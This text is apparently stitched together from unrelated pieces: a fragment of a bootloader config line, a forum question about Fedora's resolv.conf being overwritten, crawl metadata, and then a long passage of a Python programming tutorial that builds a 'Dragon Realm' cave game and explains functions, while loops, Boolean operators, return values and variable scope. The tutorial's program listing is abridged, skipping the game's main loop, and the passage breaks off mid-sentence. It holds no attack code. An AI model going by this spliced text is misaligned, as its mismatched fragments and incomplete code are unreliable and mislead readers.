Linux chainloader +1 title Kubuntu 8.10 Linux [code].... Recent FC10 totally clean install. Fully updated using yum. Using gui /system/administration/network I set up my DNS to the two IP addresses I've been given. $service network restart cat /etc/resolv.conf and the secondary DNS has changed to the IP address of my gateway (router, at 192.168.2.x) I.e. something is overwriting resolv.conf Prior to this install, I'd been successfully using fixed IP on the 192.168.2.x range quite happily. Now it only works on DHCP and DNS seems to take an age.
http://linux.bigresource.com/Fedora-Installation-update-from-FC10-to-Fedora-12-from-the-command-line--RybzOKiv6.html
CC-MAIN-2020-45
refinedweb
2,470
74.19
It seems like there is a problem running Pythonista 3 def in iOS12.1 public beta2 The problem is when I code on my Mac, the codes can run. However, when I use the same code script in the pythonista 3, it can not run, which said that something takes n positional arguments, but n+1 were given. I don not know whether this is the bug in pythonista3 or not? class Quadratic_Functions_4_1: def QFY(x,a,b,c): y=a*x**2+b*x+c print('the y is',y) def QFX(y,a,b,c): delta=b**2-4*a*(c-y) if delta<0: print('the function does not exist.') if delta==0: x=-b/2 print('the x is',x) else: x1=x=(-b+(delta**(1/2)))/(2*a) x2=x=(-b-(delta**(1/2)))/(2*a) print('x1 is',x1) print('x2 is',x2) def QFA(x,y,b,c): if x==0: print('the function is a line:') else: a=(y-b*x-c)/x**2 print('the a is',a) def QFB(x,y,a,c): if x==0: print('the function is a line:') else: b=(y-a*x**2-c)/x print('the b is',b) def QFC(x,y,a,b): c=y-a*x**2-b*x print('the c is',c) When I ran this code in pythonista3, I received the following sentences: q=Quadratic_Functions_4_1() q.QFY(1,2,3,4) Traceback (most recent call last): File "<string>", line 1, in <module> TypeError: QFY() takes 4 positional arguments but 5 were given @cvp Thanks! It works! I am a beginner of python. Could you tell me why there must be self? When I code on my Mac, it could run without self, but when I code in pythonista3 on my phone, it must run with writing self.why? Look forward to your replying. @BarryZ I never could better explain than a lot of web sites you can find with Google « python self »... @BarryZ Are you sure that you're running exactly the same code on your Mac and in Pythonista, especially the part that you type into the Python console? There is an important difference between q = Quadratic_Functions_4_1and q = Quadratic_Functions_4_1()(note the parentheses at the end). Also, it looks like you might not need to use a class here at all. Your current code would work just fine if you move the functions out of the class, then you can use QFY(1, 2, 3, 4)directly (without qbefore it). @dgelessus Thanks for your suggestions. yeah, I am sure. On my Mac, I use python 3.7.x to code. I don’t know why. @BarryZ If you write so, it works... Perhaps your Python on Mac has this @staticmethod parameter as default? class Quadratic_Functions_4_1: @staticmethod def QFY(x,a,b,c): y=a*x**2+b*x+c print('the y is',y) @cvp There is no @staticmethod. On my Mac: class Quadratic_Functions_4_1: def QFY(x,a,b,c): y=ax2+bx+c print('the y is',y) Run on my Mac: Q=Quadratic_Funtions_4_1() Q.QFY(1,4,8,10) the y is 22 @BarryZ I understand, what I wanted to say is that the Python you use on your Mac perhaps defines the class methods as static by default... @cvp Besides, when I code like this: class quadratic_functions: def qfx(self. Or when I code like this: class quadratic_functions: def qfx. @BarryZ That's normal. if you use an instance of the class (with parentheses), you need to have the word "self". But without parentheses, you use it as a class, thus no "self" needed. I think I can't help you more, I'm not a Python specialist but in this forum I'm sure other guys could help you. @BarryZ Perhaps does your Python interpreter recognize that these methods do not use any variables of the class it-self, nor the instance (self) thus could automatically consider the method as static... This post is deleted!last edited by The difference is that in one case you are instantiating an object. q=quadratic_function() In the other case, you are referring to the class: q=quadratic_function These are two completely different things. The first creates an instance, and binds the instance to the first argument, thus requires selfas first argument. The second does not, so does not need a self. my guess is copy paste error -- the original probably did not have the parens. what version of python are you running on the mac? are you using the console, or executing a file? are you using jupyter or IPython or some other nonstandard interpreter? The only other thought... since your class does not inherit from object, on 2.x this will be an "old style class", so might behave a little differently. But I think even old style classes would have bound instances to their methods.
https://forum.omz-software.com/topic/5125/it-seems-like-there-is-a-problem-running-pythonista-3-def-in-ios12-1-public-beta2
CC-MAIN-2020-50
refinedweb
820
73.37
Question The weight of a connecting rod used in a diesel engine made at a plant of the General Motors Corporation needs to be strictly uniform to minimize vibrations in the engine. The connecting rod is produced by a forging process. Every day, five rods coming out of the process are selected at random and weighed. The data for 10 days’ samples in early 2007 are given below. On the 10th day, the supervisor stopped the process, declaring it out of control. Prepare one or more appropriate control charts and test whether the process is indeed out of control. .png) .png) Answer to relevant QuestionsWhat are the components of a quality control chart? Discuss what is meant by quality control and quality improvement. The following data are tensile strengths, in pounds, for a sample of string for industrial use made at a plant. Construct a control chart for the mean, using groups of 5 observations each. Test for statistical control of the ...Explain when you would use the Mann-Whitney test, when you would use the two-sample t test, and when you would use the Wald-Wolfowitz test. Discuss your reasons for choosing each test in the appropriate situation. The following data are the one-year return to investors in world stock investment funds, as published in Pensions & Investments. The data are in percent return (%): 35.9, 34.5, 33.7, 31.7, 27.5, 27.3, 27.3, 27.2, 27.1 25.5. ... Post your question
http://www.solutioninn.com/the-weight-of-a-connecting-rod-used-in-a-diesel
CC-MAIN-2017-09
refinedweb
249
65.01
If you are new to WPF, you must know that XAML can define or declare any object under your local / global namespace just like your code does. It has full capability to load up your types based on the namespace you provide in your XAML. Lets look how you can load your own namespace in XAML. <Window x: </Window> This is the basic XAML that appear from template when you just create a new project. Now if you see minutely, you can see xmlns is there which points to some url of presentation layer. This will ensure that all the references of WPF objects is itself available to your XAML and you do not need to refer its namespace. Now what if you need to use something other than this ? As I told you that XAML can load any external type. You need to add a namespace to the XAML, which will instruct the Loader to load the CLR assembly and expose the Type that you use in the XAML. For simplicity lets add a string as resource in the Window. <Window x: <Grid> <Grid.Resources> <System:String x:This is a string</System:String> </Grid.Resources> <TextBox Text="{StaticResource strString}" /> </Grid> </Window> So here the xmlns:System will load the assembly mscorlib and expose the namespace System to your XAML. Clr-namespace :System specifies the namespace and assembly=mscorlib refer the assembly. You should remember that the assembly should exist on GAC or local bin folder to make sure the XAML can load it properly. After you load the assembly, you can refer to the Types as shown in the XAML, the textbox loads up the string as text from Resource. Similar to this, you can also load your own custom type and use it in XAML. Lets define a class : namespace MyNamespace.Extension { public class MyClass { public string X { get; set; } public string Y { get; set; } } } Now to refer to this class in XAML you can use : <Window x: <Grid> <Grid.Resources> <System:String x:This is a string</System:String> <local:MyClass </Grid.Resources> </Grid> </Window> Thus you can see I can refer to my own type using clr-namespace attribute. You can specify the assembly here too, but it is not mandatory, as when you do not specify it, it will point to the local assembly. Local:MyClass can now refer to my Type with X and Y properties exposes as well. I hope this will help you. Thanks for reading.
https://dailydotnettips.com/1377/
CC-MAIN-2021-17
refinedweb
415
80.82
Task #18022 Check how statistics work in the CI validation view Description There are experiments that would like to tracked over time some statistics that comes from the CI validation workflow. Please, can you check how this is implemented for the CI validation view and how the statistics showed in this view are filtered? I sent some statistics to the CI build 'lar_ci_test/852' in the 'DUNE' namespace using the Test instance of the CI. The link of the CI Validation view for this CI build is: The statisticname and value are stat1 5.3 stat2 12.2 stat2 26.1 stat3 26.1 using a curl command like: curl -v -o trDUNE.out "" for this command I got in the output: Added <Statistic 69455 'end' -> 'stat3' (float)26.1@2017-10-25 10:00:10.141492>. I sent the 'stat2' value twice to check what happen in this case. History #1 Updated by Vito Di Benedetto over 2 years ago Using this link: I'm able to see the 'stat2' value. In this case both of them are stored, this could be fine. It could help to get those statistics visible in the CI validation view to have an easy access to the graph that show the value of the statistics over the time. #2 Updated by Vladimir Podstavkov about 2 years ago - Status changed from Assigned to Work in progress - % Done changed from 0 to 10 - Estimated time set to 4.00 h #3 Updated by Vladimir Podstavkov about 2 years ago - % Done changed from 10 to 90 #4 Updated by Vladimir Podstavkov about 2 years ago - Status changed from Work in progress to Resolved - % Done changed from 90 to 100 #5 Updated by Vito Di Benedetto about 2 years ago - Status changed from Resolved to Closed Also available in: Atom PDF
https://cdcvs.fnal.gov/redmine/issues/18022
CC-MAIN-2020-10
refinedweb
304
77.37
Have you ever heard of PathListBox introduced in Silverlight 4 as Expression Blend 4 namespace? Yes, it is a new control added in the “” namespace. You can use this to position your data, text, images or other controls in the way of a single or multiple path controls. You can use your jig-jag path to set your contents or you can use circular or rectangular path to organize your content. In this article, I will guide you to understand the functionality of this control. Also, I will guide you step-by-step to create your first PathListBox control demo application. Here we will create the above two samples where the collection of texts will position them in proper location on the edge of the circular path. Readout the complete post to learn about it and at the end, if you have any queries or comments, please let me know. I will try to answer your queries as soon as possible. The PathListBox is a new control included in the Expression Blend 4 SDK that builds on the original functionality of the ListBox, displaying multiple items and item selection, and new functionality enabling path-based layout. The PathListBox provides many areas of customization through properties and a custom child container control, the PathListBoxItem. You can read more about this control from Microsoft site. Click the below link to read more about it: Before starting with the discussion, we need to create the Silverlight project first. Be sure that, you are using Silverlight 4. You need to install Visual Studio 2010 and/or Expression Blend 4 for the development. Here I will use only Expression Blend and hence, if you have that one installed in your development machine then we are good to go. Let us start with the development project. Open Expression Blend 4 and Create a new Project from the File menu: Once your project has been created with the default page named “MainPage.xaml”, open the file to design it with the PathListBox control. Follow the below steps mentioned in the screenshot: Once our PathListBox control has been added to the page, it’s time to add a circular path control for our application. To create a circular path in the XAML page, use the following steps in your Expression Blend IDE: Now, do some styling for your circular path. I used a Gradient Fill color and a Gradient Stroke color. Steps are mentioned in the following snapshot: Once your styling is over, we can convert the “Ellipse” control to a Path control. As the PathListBox control needs a Path to position the contents hence convert the same to a Path control. Right click over your “Ellipse” control in the Layer explorer (as mentioned in the below snapshot) and from the right click context menu select “Path” and then click on “Convert to Path”. This will change the ellipse to a path control. It’s time to bind the recently added Path to the PathListBox. You can bind multiple paths as the LayoutPaths to your PathListBox. From the Layer panel select your PathListBox control named “pathListBox” and open the properties panel for the selected control. Expand the property group named “Layout Paths”. There is a circular item as mentioned in the following picture. Click on it and drag to the circular path shown in the next snapshot. If you open your XAML page, you will see the following xaml code snippet in your page: Let me explain you the XAML code. Here you will see the PathListBox control which has a single LayoutPath inside the LayoutPaths collection. You can add as many LayoutPath here. The LayoutPath has been binded to the Element named “path” i.e. our Circular path. You can use Padding here to set the delta value between each item. I will discuss this later when we bind our content and show you the demonstration of the code. Here you can ask me one question: “What is ec namespace mentioned for PathListBox?” PathListBox control is not part of the default library. It is available in the Expression controls namespace. Look into the following code to see the full namespace: So, as of now our UI design is done. Now, it’s time to create some data record in Code behind and bind it accordingly to the ItemSource of the PathListBox control. Open your MainPage.xaml.cs file and inside that create a List collection of string. I am using 12 months of the year here. Now set the created list collection to the ItemSource of the pathListBox. See the code snippet here: It’s time to demo our application. Build the project and run it by hitting “F5” in your IDE (either Visual Studio 2010 or Expression Blend 4). You will see that the Silverlight application has been loaded inside your browser window. You will notice that, the collection of months are loaded inside the Silverlight app in the same direction of the circular path. It has same delta amount of gap between each item. This is nothing but your padding value. If you increase the padding value, you will see that the items will have a more gap than the earlier and in the reverse case, the items will be place near to each other. Look into the following screenshot: As of now, our first example is ready. Now you may come into a situation where each character of the words will place in the same direction as the circular path. So, my question to you is: Can we do that? Yes, we can. We can change the orientation of the PathListBox. The default value of the orientation is none. We have one more orientation which is called as “OrientToPath”. Once set, it will relocate the items at the edge of the path. Hence, open your Expression Blend once again and go to the Properties pane of the PathListBox control. In the LayoutPaths tab you can see a property named “Orientation” available (see the below screenshot). Click the second orientation which is called as “OrientToPath”. Now run your application once again and you will notice the months orientation changed to the way of your circular path. Have a look into the following screenshot: So, what is the benefit of this PathListBox control? I think, the answer is clear to you. Let me explain the benefit from my side. You can animate any control or text in a circular way or you can animate in any random way that you want. You can rotate some ads for your business application for your client using the control. You can easily create your loader control using this. You don’t have to write more logic for your rounded loader like the one when your Silverlight application loads (during XAP download). Even you can do many more thing that you want as per your requirement. This article is a basic one to showcase you the PathListBox control and mainly targeted for the beginners who are new to Silverlight or new to Silverlight 4. This article is also helpful to those who didn’t know about this control or didn’t explored the power of this control. Have a try in your site and if you have any queries, please let me know. I will try to answer you as soon as possible. Don’t forget to leave your comments here. By this way, I can improve my future articles and provide you more tutorials on Silver.
http://www.codeproject.com/Articles/97201/Beginners-Guide-to-Silverlight-4-PathListBox-Contr?fid=1580982&df=90&mpp=10&sort=Position&spc=None&tid=3572349
CC-MAIN-2016-36
refinedweb
1,247
72.97
Apache Tapestry - Storage Every web application should have some way to store certain user data like user object, user preferences, etc. For example, in a shopping cart application, the user's selected items / products should be saved in a temporary bucket (cart) until the user prefers to buy the products. We can save the items in a database, but it will be too expensive since all users are not going to buy the selected items. So, we need a temporary arrangement to store / persist the items. Apache Tapestry Provides two ways to persist the data and they are − - Persistence page data - Session Storage Both has its own advantages and limitations. We will check it in the following sections. Persistence Page Data The Persistence Page Data is a simple concept to persist data in a single page between requests and it is also called as Page Level Persistence. It can be done using the @Persist annotation. @Persist public int age; Once a field is annotated with @Persist, the field's value will be persisted across request and if the value is changed during request, it will be reflected when it is accessed next time. Apache Tapestry provides five types of strategy to implement the @Persist concept. They are as follows − Session Strategy − The data is persisted using the Session and it is a default strategy. Flash Strategy − The data is persisted using Session as well, but it is a very short lived one. The data will be available in only one subsequent request. @Persist(PersistenceConstants.FLASH) private int age; Client Strategy − The data is persisted in the client side such as URL query string, hidden field in the form, etc. @Persist(PersistenceConstants.FLASH) private int age; Hibernate Entity Strategy − The data is persisted using the Hibernate module as Entity. The entity will be stored in Hibernate and its reference (Java class name and its primary key) will be saved as token in HttpSession. The entity will be restored by using the token available in HttpSession. @Persist(HibernatePersistenceConstants.ENTITY) private Category category; JPA Entity Strategy − The data is persisted using a JPA module. It will only able to store Entity. @Persist(JpaPersistenceConstants.ENTITY) private User user; Session Storage Session storage is an advanced concept used to store data which needs to be available across pages like data in multiple page wizard, logged in user details, etc. The Session Storage provides two options, one to store complex object and another to store simple values Session Store Object − Used to store complex object. Session Attributes − Used to store simple values. Session Store Object (SSO) An SSO can be created using @SessionStore annotation. The SSO will store the object using type of the object. For example, the Cart Object will be stored using a Cart class name as token. So, any complex object can be stored once in an application (one per user). public class MySSOPage { @SessionState private ShoppingCart cart; } An SSO is a specialized store and should be used to store only complex / special object. Simple data types can also be stored using an SSO, but storing simple data types like String makes it only store one “String” value in the application. Using a single “String” value in the application is simply not possible. You can use simple data types as Apache Tapestry provides Session Attributes. Session Attributes Session Attributes enable the data to be stored by name instead of its type. public class MyPage { @SessionAttribute private String loggedInUsername; } By default, Session Attributes uses the field name to refer the data in session. We can change the reference name by annotation parameter as shown below − public class MyPage { @SessionAttribute("loggedInUserName") private String userName; } One of the main issues in using name as session reference is that we may accidentally use the same name in more than one class / page. In this case, the data stored maybe changed unexpectedly. To fix this issue, it will be better to use the name along with class / page name and package name like com.myapp.pages.register.email, where com.myapp.pages is the package name, register is the page / class name and finally email is variable (to be stored) name.
https://www.tutorialspoint.com/apache_tapestry/apache_tapestry_storage.htm
CC-MAIN-2018-51
refinedweb
693
52.9
Active many threads so running out of memory is not an option. You can even think of Thread Pool as a recycle system. And not only does it eliminate the option of running out of memory, it also makes the application respond very quickly since there is a thread already existing when the request arrives. The workflow of the diagram above, allows you to control the number of threads an application is making and also it lets you control the schedule tasks’ execution and keep incoming tasks in a queue. Executors, Executor and ExecutorService Java provides the Executor framework which means you only need to implement the Runnable objects and send them to the executor to execute. To use thread pools, firstly we need to create an object of ExecutorService and pass tasks to it. ThreadPoolExecutor class sets the core and maximum pool size. The runnables are then executed sequentially. Different Executor Thread Pool methods newFixedThreadPool(int size) - creates a fixed size thread pool newCachedThreadPool() - creates a thread pool that creates new threads if needed but will also use previous threads if they are available newSingleThreadExecutor() - creates a single thread ExecutorService interface contains many methods that are used to control the progress of tasks and manages the termination of the service. You can control tasks’ execution using the Future instance. An example of how to use Future: ExecutorService execService = Executors.newFixedThreadPool(6); Future<String> future = execService.submit(() -> "Example"); String result = future.get(); ThreadPoolExecutor lets you implement an extensible thread pool that has a lot of parameters, which are corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, handler, threadFactor. However, corePoolSize, maximumPoolSize and keepAliveTime are the main ones as they are used in every constructor. corePoolSize is the number of threads to keep in the pool, even if they are idle, unless allowCoreThreadTimeOut is set. maximumPoolSize is the maximum number of threads that are allowed in the pool. keepAliveTime is when the number of threads is greater than the core, this is the maximum time that excess idle threads will wait for new tasks before terminating. For more information about the other parameters, visit the original Oracle documentation. Thread Pool implementation example Workflow steps: - create a task to execute - create Executor Pool by using Executors - pass tasks to the Executor Pool - shutdown the Executor Pool Task.java import java.text.SimpleDateFormat; import java.util.Date; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; // (Step 1) public class Task implements Runnable { private String name; public Task(String name) { this.name = name; } public void run() { try { for (int i = 0; i < 5; i++) { if (i == 1) { Date date = new Date(); SimpleDateFormat ft = new SimpleDateFormat("hh:mm:ss"); System.out.println("Time initialization for task " + this.name + " is " + ft.format(date)); } else { Date date = new Date(); SimpleDateFormat ft = new SimpleDateFormat("hh:mm:ss"); System.out.println("Execution time for task " + this.name + " is " + ft.format(date)); } Thread.sleep(1000); } } catch(InterruptedException error) { error.printStackTrace(); } System.out.println(this.name + " completed"); } } Main.java import java.text.SimpleDateFormat; import java.util.Date; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; public class Main { public static void main(String[] args) { Runnable task1 = new Task("task 1"); Runnable task2 = new Task("task 2"); Runnable task3 = new Task("task 3"); Runnable task4 = new Task("task 4"); Runnable task5 = new Task("task 5"); // (Step 2) ExecutorService pool = Executors.newFixedThreadPool(3); // (Step 3) pool.execute(task1); pool.execute(task2); pool.execute(task3); pool.execute(task4); pool.execute(task5); // (Step 4) pool.shutdown(); } } Output: Time initialization for task task 2 is 10:18:40 Time initialization for task task 1 is 10:18:40 Time initialization for task task 3 is 10:18:40 Execution time for task task 3 is 10:18:41 Execution time for task task 1 is 10:18:41 Execution time for task task 2 is 10:18:41 Execution time for task task 2 is 10:18:42 Execution time for task task 3 is 10:18:42 Execution time for task task 1 is 10:18:42 Execution time for task task 1 is 10:18:43 Execution time for task task 3 is 10:18:43 Execution time for task task 2 is 10:18:43 Execution time for task task 3 is 10:18:44 Execution time for task task 1 is 10:18:44 Execution time for task task 2 is 10:18:44 task 2 completed task 1 completed task 3 completed Time initialization for task task 4 is 10:18:45 Time initialization for task task 5 is 10:18:45 Execution time for task task 4 is 10:18:46 Execution time for task task 5 is 10:18:46 Execution time for task task 4 is 10:18:47 Execution time for task task 5 is 10:18:47 Execution time for task task 5 is 10:18:48 Execution time for task task 4 is 10:18:48 Execution time for task task 4 is 10:18:49 Execution time for task task 5 is 10:18:49 task 4 completed task 5 completed Breakdown of the code implementation above: Task.java represents the task class. Each task has a name instance variable and each task is instantiated by the use of a constructor. This class has 1 method, which is called run. Within the body of the run method, there is a for loop that iterates by the number of tasks there are. In our case, there are 5 tasks, which means it will run 5 times. The first iteration, print the time the current task was initialized. The other iterations, print the execution time. After it has been printed, there is a Thread.sleep() method call which is used to display every iteration message with 1 second delay. Note that the method name “run” is important to be called like that as it is an abstract method coming from Runnable which our Task class is implementing. Task 4 and 5 are only executed when a tread in the pool becomes idle. Until then, the extra tasks are placed in a queue. After all tasks have been executed, shutdown the Thread Pool. When is thread pool useful When organizing server applications. As stated in the beginning of the article, it is useful when organizing server applications as using thread pool is very efficient as if there are many tasks, it automatically places them in a queue. Not only that, but it also prevents running out of memory, or at least it slows significantly the process of doing so. Using ExecutorService makes it easier to implement.
https://javatutorial.net/java-thread-pool-example
CC-MAIN-2019-43
refinedweb
1,100
54.42
Member 10 Points Aug 13, 2009 06:53 AM|Adil Akhter|LINK Hi, I am pretty new to the ldap based directory service programming using .net framework; hence have a basic silly question. I would like to find out the all sub trees a particular user belongs to using System.DirectoryServices.Protocol. First of all , Can a User be part of the multiple Sub Trees in “a” directory service instance? If yes, then how can I find all the sub trees that a particular user belongs to using “System.DirectoryServices.Protocol “ namespace? To be specific about my question , given this is DN of my user object - “uid=DaffyD,OU=Ducks,OU=People,O=A “ , whether can it exist in other OU directly or indirectly? E.g. can “OU=Ducks” be part of any other OU than “People”?<div>If a user belongs to “only” a particular sub tree, then I guess I can find all the DN of the sub tree from the DN of the user. Please let me know if there is any other efficient way? Why I want to do this ? In our application , we can map a group or sub tree of a Directory Service to our application's group. For example, if a "OU=Ducks,OU=People,O=A" subtree is mapped to a group in our system named "SuperUser" , any user under this subtree like "DaffyD" will be member of Group "SuperUser" in our Application. So, for some requirement , i need to find it out all the sub tree that a pariticular user could be found in a ds instance. How can I implement it with System.DirectoryServices.Protocol? Any help is appreciated. Regards, Adil Regards, Adil directory Services c# ldap search Aug 13, 2009 09:52 AM|raghu1|LINK Your question is confusing. The DN /ADPath / OU is not nested. You probably mean to check the groups a user is a member of. Groupd can be nested: a group can be a member of other groups. Can you give a specific example of what you are looking for. Maybe : you want all the direct and nested memberships of a user. 1 reply Last post Aug 13, 2009 09:52 AM by raghu1
https://forums.asp.net/t/1458588.aspx?Finding+all+the+sub+trees+that+a+user+could+be+found+in+ldapsearch+
CC-MAIN-2017-34
refinedweb
369
64.3
The. Other dragons are hungry and eat anyone who enters their cave. The player approaches two caves, one with a friendly dragon and the other with a hungry dragon, but doesn’t know which dragon is in which cave. The player must choose between the two. Here’s what the Dragon Realm game looks like when it’s run. The player’s input is in bold. It often helps to write down everything you want your game or program to do before you start writing code. When you do this, you are designing the program. For example, it may help to draw a flowchart. A flowchart is a diagram that shows every possible action that can happen in the game and which actions are connected. Figure 5-1 is a flowchart for Dragon Realm. To see what happens in the game, put your finger on the START box. Then follow one arrow from that box to another box. Your finger is like the program execution. The program terminates when your finger lands on the END box. Figure 5-1: Flowchart for the Dragon Realm game When you get to the “Check for friendly or hungry dragon” box, you can go to the “Player wins” box or the “Player loses” box. At this branching point, the program can go in different directions. Either way, both paths will eventually end up at the “Ask to play again” box. Open a new file editor window by clicking File New Window. Enter the source code and save it as dragon.py. Then run the program by pressing F5. If you get errors, compare the code you typed to the book’s code with the online diff tool at.. displayIntro() 38. caveNumber = chooseCave() 39. checkCave(caveNumber) 40. 41. print('Do you want to play again? (yes or no)') 42. playAgain = input() Let’s look at the source code in more detail. This program imports two modules: 1. import random 2. import time The random module provides the randint() function, which we used in the Guess the Number game from Chapter 3. Line 2 imports the time module, which contains time-related functions. Functions let you run the same code multiple times without having to copy and paste that code over and over again. Instead, you put that code inside a function and call the function whenever you need to. Because you write the code only once in the function, if the function’s code has a mistake, you only have to change it in one place in the program. You’ve already used a few functions, like print(), input(), randint(), str(), and int(). Your programs have called these functions to execute the code inside them. In the Dragon Realm game, you’ll write your own functions using def statements. Line 4 is a def statement:() The def statement defines a new function (in this case, the displayIntro() function), which you can call later in the program. Figure 5-2 shows the parts of a def statement. It has the def keyword followed by a function name with parentheses, and then a colon (:). The block after the def statement is called the def block. Figure 5-2: Parts of a def statement When you define a function, you specify the instructions for it to run in the following block. When you call a function, the code inside the def block executes. Unless you call the function, the instructions in the def block will not execute. In other words, when the execution reaches a def statement, it skips down to the first line after the def block. But when a function is called, the execution moves inside of the function to the first line of the def block. For example, look at the call to the displayIntro() function on line 37: 37. displayIntro() Calling this function runs the print() call, which displays the “You are in a land full of dragons ...” introduction. A function’s def statement and def block must come before you call the function, just as you must assign a value to a variable before you use that variable. If you put the function call before the function definition, you’ll get an error. Let’s look at a short program as an example. Open a new file editor window, enter this code, save it as example.py, and run it: sayGoodbye() def sayGoodbye(): print('Goodbye!') If you try to run this program, Python will give you an error message that looks like this: Traceback (most recent call last): File "C:/Users/Al/AppData/Local/Programs/Python/Python36/example.py", line 1, in <module> sayGoodbye() NameError: name 'sayGoodbye' is not defined To fix this error, move the function definition before the function call: def sayGoodbye(): print('Goodbye!') sayGoodbye() Now, the function is defined before it is called, so Python will know what sayGoodbye() should do. Otherwise, Python won’t have the instructions for sayGoodbye() when it is called and so won’t be able to run it. So far, all of the strings in our print() function calls have been on one line and have had one quote character at the start and end. However, if you use three quotes at the start and end of a string, then it can go across several lines. These are multiline strings. Enter the following into the interactive shell to see how multiline strings work: >>> fizz = '''Dear Alice, I will return to Carol's house at the end of the month. Your friend, Bob''' >>> print(fizz) Dear Alice, I will return to Carol's house at the end of the month. Your friend, Bob Note the line breaks in the printed string. In a multiline string, the newline characters are included as part of the string. You don’t have to use the \n escape character or escape quotes as long as you don’t use three quotes together. These line breaks make the code easier to read when large amounts of text are involved. Line 11 defines another function called chooseCave(): 11. def chooseCave(): This function’s code asks the player which cave they want to go in, either 1 or 2. We’ll need to use a while statement to ask the player to choose a cave, which marks the start of a new kind of loop: a while loop. Unlike a for loop, which loops a specific number of times, a while loop repeats as long as a certain condition is True. When the execution reaches a while statement, it evaluates the condition next to the while keyword. If the condition evaluates to True, the execution moves inside the following block, called the while block. If the condition evaluates to False, the execution moves past the while block. You can think of a while statement as being almost the same as an if statement. The program execution enters the blocks of both statements if their condition is True. But when the condition reaches the end of the block in a while loop, it moves back to the while statement to recheck the condition. Look at the def block for chooseCave() to see a while loop in action: 12. cave = '' 13. while cave != '1' and cave != '2': Line 12 creates a new variable called cave and stores a blank string in it. Then a while loop begins on line 13. The chooseCave() function needs to make sure the player entered 1 or 2 and not something else. A loop here keeps asking the player which cave they choose until they enter one of these two valid responses. This is called input validation. The condition also contains a new operator you haven’t seen before: and. Just as - and * are mathematical operators, and == and != are comparison operators, the and operator is a Boolean operator. Let’s take a closer look at Boolean operators. don’t have wings, so “dogs have wings” is false. In Boolean logic, things can only be entirely true or entirely false. Because of the word and, the entire sentence is true only if both parts are true. If one or both parts are false, then the entire sentence is false. The and operator in Python also requires the whole Boolean expression to be True or False. If the Boolean values on both sides of the and keyword are True, then the expression evaluates to True. If either or both of the Boolean values are False, then the expression evaluates to False. Enter the following expressions with the and operator into the interactive shell: >>> True and True True >>> True and False False >>> False and True False >>> False and False False >>>>> 10 < 20 and spam == 'Hello' True The and operator can be used to evaluate any two Boolean expressions. In the last example, 10 < 20 evaluates to True and spam == 'Hello' also evaluates to True, so the two Boolean expressions joined by the and operator evaluate as True. If you ever forget how a Boolean operator works, you can look at its truth table, which shows how every combination of Boolean values evaluates. Table 5-1 shows every combination for the and operator. Table 5-1: The and Operator’s Truth Table The or operator is similar to the and operator, except it evaluates to True if either of the two Boolean values is True. The only time the or operator evaluates to False is if both of the Boolean values are False. Now enter the following into the interactive shell: >>> True or True True >>> True or False True >>> False or True True >>> False or False False >>> 10 > 20 or 20 > 10 True In the last example, 10 is not greater than 20 but 20 is greater than 10, so the first expression evaluates to False and the second expression evaluates to True. Because the second expression is True, this whole expression evaluates as True. The or operator’s truth table is shown in Table 5-2. Table 5-2: The or Operator’s Truth Table Instead of combining two values, the not operator works on only one value. The not operator evaluates to the opposite Boolean value: True expressions evaluate to False, and False expressions evaluate to True. Enter the following into the interactive shell: >>> not True False >>> not False True >>> not ('black' == 'white') True The not operator can also be used on any Boolean expression. In the last example, the expression 'black' == 'white' evaluates to False. This is why not ('black' == 'white') is True. The not operator’s truth table is shown in Table 5-3. Table 5-3: The not Operator’s Truth Table Look at line 13 of the Dragon Realm game whole condition evaluates to True, so the program execution enters the while block, where the program will attempt to assign a nonblank value for cave. Line 14 asks the player to choose a cave: 13. while cave != '1' and cave != '2': 14. print('Which cave will you go into? (1 or 2)') 15. cave = input() Line 15 lets the player type their response and press ENTER. This response is stored in cave. After this code is executed, the execution loops back to the top of the while statement and rechecks the condition at line 13. If the player entered 1 or 2, then cave will be either '1' or '2' (since input() always returns strings). This makes the condition False, and the program execution will continue past the while loop. For example, if the user entered '1', then the evaluation would look like this: But if the player entered 3 or 4 or HELLO, that response would be invalid. The condition would then be True and would enter the while block to ask the player again. The program keeps asking the player which cave they choose until they enter 1 or 2. This guarantees that once the execution moves on, the cave variable contains a valid response. Line 17 has something new called a return statement: 17. return cave A return statement appears only inside def blocks where a function—in this case, chooseCave()—is defined. Remember how the input() function returns a string value that the player entered? The chooseCave() function will also return a value. Line 17 returns the string that is stored in cave, either '1' or '2'. Once the return statement executes, the program execution jumps immediately out of the def block (just as the break statement makes the execution jump out of a while block). The program execution moves back to the line with the function call. The function call itself will evaluate to the function’s return value. Skip down to line 38 for a moment where the chooseCave() function is called: 38. caveNumber = chooseCave() On line 38, when the program calls the function chooseCave(), which was defined on line 11, the function call evaluates to the string inside of cave, which is then stored in caveNumber. The while loop inside chooseCave() guarantees that chooseCave() will return only either '1' or '2' as its return value. So caveNumber can have only one of these two values. There is something special about variables that are created inside functions, like the cave variable in the chooseCave() function on line 12: 12. cave = '' A local scope is created whenever a function is called. Any variables assigned in this function exist within the local scope. Think of a scope as a container for variables. What makes variables in local scopes special is that they are forgotten when the function returns and they will be re-created if the function is called again. The value of a local variable isn’t remembered between function calls. Variables that are assigned outside of functions exist in the global scope. variable that exists in a local scope is called a local variable, while a variable that exists in the global scope is called a global variable. A variable must be one or the other; it cannot be both local and global. The variable cave is created inside the chooseCave() function. This means it is created in the chooseCave() function’s local scope. It will be forgotten when chooseCave() returns and will be re-created if chooseCave() is called a second time. Local and global variables can have the same name, but they are different variables because they are in different scopes. Let’s write a new program to illustrate these concepts: def bacon(): ➊ spam = 99 # Creates a local variable named spam ➋ print(spam) # Prints 99 ➌ spam = 42 # Creates a global variable named spam ➍ print(spam) # Prints 42 ➎ bacon() # Calls the bacon() function and prints 99 ➏ print(spam) # Prints 42 We first make a function called bacon(). In bacon(), we create a variable called spam and assign it 99 ➊. At ➋, we call print() to print this local spam variable, which is 99. At ➌, a global variable called spam is also declared and set to 42. This variable is global because it is outside of all functions. When the global spam variable is passed to print() at ➍, it prints 42. When the bacon() function is called at ➎, ➊ and ➋ are executed, and the local spam variable is created, set, and then printed. So calling bacon() prints the value 99. After the bacon() function call returns, the local spam variable is forgotten. If we print spam at ➏, we are printing the global variable, so the output there is 42. When run, this code will output the following: 42 99 42 Where a variable is created determines what scope it is in. Keep this in mind when writing your programs. The next function defined in the Dragon Realm program is named checkCave(). 19. def checkCave(chosenCave): Notice the text chosenCave between the parentheses. This is a parameter: a local variable that is used by 